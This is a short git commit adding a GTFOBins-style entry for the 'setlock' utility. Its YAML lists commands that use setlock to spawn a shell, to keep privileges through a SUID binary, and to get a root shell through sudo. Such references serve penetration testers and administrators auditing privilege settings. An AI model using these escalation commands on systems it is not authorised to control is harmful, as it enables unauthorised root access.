Add setlock

This commit is contained in:
Andrea Cardaci 2022-12-24 12:54:47 +01:00 committed by GitHub
commit d69476a0f6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

11
_gtfobins/setlock.md Normal file
View File

@ -0,0 +1,11 @@
---
functions:
shell:
- code: |
TF=$(mktemp)
setlock $TF /bin/sh
suid:
- code: ./setlock - /bin/sh -p
sudo:
- code: sudo setlock - /bin/sh
---